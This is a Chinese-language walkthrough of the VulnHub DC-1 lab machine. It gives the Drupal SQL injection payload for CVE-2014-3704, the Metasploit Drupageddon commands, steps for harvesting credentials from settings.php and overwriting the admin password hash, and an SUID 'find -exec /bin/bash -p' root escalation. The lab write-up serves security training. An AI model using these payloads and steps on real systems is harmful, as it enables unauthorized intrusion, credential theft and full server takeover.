vulnhub DC-1靶机实战
字数 1324 2025-08-12 11:34:35

DC-1 靶机实战教学文档

0X01 环境部署

1. 下载与安装

  • 下载地址: https://www.vulnhub.com/entry/dc-1,292/
  • 下载后解压,使用VMware打开
  • 网络模式建议调整为NAT模式(避免与主机IP冲突)

0X02 信息收集

1. 扫描目标IP

nmap -sP 192.168.23.0/24
  • 确定目标IP为192.168.23.172

2. 详细扫描目标

nmap --script=vuln 192.168.23.172
  • 发现CVE-2014-3704漏洞(Drupal SQL注入漏洞)
  • 开放80端口(Drupal CMS)

3. 漏洞验证

  • 访问http://192.168.23.172
  • 确认是Drupal登录页面
  • 使用Burp Suite抓包并发送SQL注入payload:
name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block&op=Log in
  • 成功获取数据库名"drupal"

0X03 Getshell

1. 使用Metasploit利用漏洞

msfconsole
search drupal
use exploit/multi/http/drupal_drupageddon
set rhosts 192.168.23.172
run
  • 成功获取meterpreter会话

2. 获取flag1

cat flag1.txt
  • 内容: "Every good CMS needs a config file - and so do you."
  • 提示寻找配置文件

3. 寻找配置文件

cd sites
ls -la
cd default
ls -la
  • 发现settings.php文件(包含数据库凭据)
  • 获取flag2并发现数据库信息:
    • 用户名: dbuser
    • 密码: R0ck3t
    • 数据库名: drupaldb

4. 数据库操作

mysql -udbuser -pR0ck3t
use drupaldb;
show tables;
select * from users;
  • 获取管理员用户信息

5. 密码重置

  • 查找Drupal密码哈希工具:
find / -name password-hash*
cd scripts
./password-hash.sh 123456
  • 获取哈希值: $S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb

  • 更新数据库密码:

update users set pass='$S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb' where uid =1;

6. 登录Drupal后台

  • 使用新凭据: admin/123456
  • 获取flag3

7. 查看系统用户

cat /etc/passwd
  • 发现flag4用户

0X04 提权

1. 获取flag4

cd /home/flag4
cat flag4.txt
  • 内容: "Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?"

2. 提权方法

find / -perm -u=s -type f 2>/dev/null
find / -exec "/bin/bash" -p \;
  • 成功提权至root

3. 获取最终flag

cd /root
cat thefinalflag.txt
  • 内容: "Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU"

0X05 总结

  1. 信息收集阶段:

    • 使用nmap扫描网络发现目标
    • 识别开放服务和已知漏洞
  2. 漏洞利用阶段:

    • 使用Metasploit利用Drupal漏洞获取初始访问权限
  3. 权限提升路径:

    • 通过flag提示寻找配置文件
    • 获取数据库凭据并修改管理员密码
    • 登录后台获取更多信息
    • 利用SUID提权获取root权限
  4. 关键技巧:

    • Drupal密码哈希生成方法
    • MySQL数据库操作
    • Linux权限提升技术
  5. 学习要点:

    • 遵循flag提示逐步深入
    • 利用系统自带工具进行信息收集
    • 理解CMS架构和常见漏洞利用方法
DC-1 靶机实战教学文档 0X01 环境部署 1. 下载与安装 下载地址: https://www.vulnhub.com/entry/dc-1,292/ 下载后解压,使用VMware打开 网络模式建议调整为NAT模式(避免与主机IP冲突) 0X02 信息收集 1. 扫描目标IP 确定目标IP为192.168.23.172 2. 详细扫描目标 发现CVE-2014-3704漏洞(Drupal SQL注入漏洞) 开放80端口(Drupal CMS) 3. 漏洞验证 访问http://192.168.23.172 确认是Drupal登录页面 使用Burp Suite抓包并发送SQL注入payload: 成功获取数据库名"drupal" 0X03 Getshell 1. 使用Metasploit利用漏洞 成功获取meterpreter会话 2. 获取flag1 内容: "Every good CMS needs a config file - and so do you." 提示寻找配置文件 3. 寻找配置文件 发现settings.php文件(包含数据库凭据) 获取flag2并发现数据库信息: 用户名: dbuser 密码: R0ck3t 数据库名: drupaldb 4. 数据库操作 获取管理员用户信息 5. 密码重置 查找Drupal密码哈希工具: 获取哈希值: $S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb 更新数据库密码: 6. 登录Drupal后台 使用新凭据: admin/123456 获取flag3 7. 查看系统用户 发现flag4用户 0X04 提权 1. 获取flag4 内容: "Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?" 2. 提权方法 成功提权至root 3. 获取最终flag 内容: "Well done!!! ! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU" 0X05 总结 信息收集阶段 : 使用nmap扫描网络发现目标 识别开放服务和已知漏洞 漏洞利用阶段 : 使用Metasploit利用Drupal漏洞获取初始访问权限 权限提升路径 : 通过flag提示寻找配置文件 获取数据库凭据并修改管理员密码 登录后台获取更多信息 利用SUID提权获取root权限 关键技巧 : Drupal密码哈希生成方法 MySQL数据库操作 Linux权限提升技术 学习要点 : 遵循flag提示逐步深入 利用系统自带工具进行信息收集 理解CMS架构和常见漏洞利用方法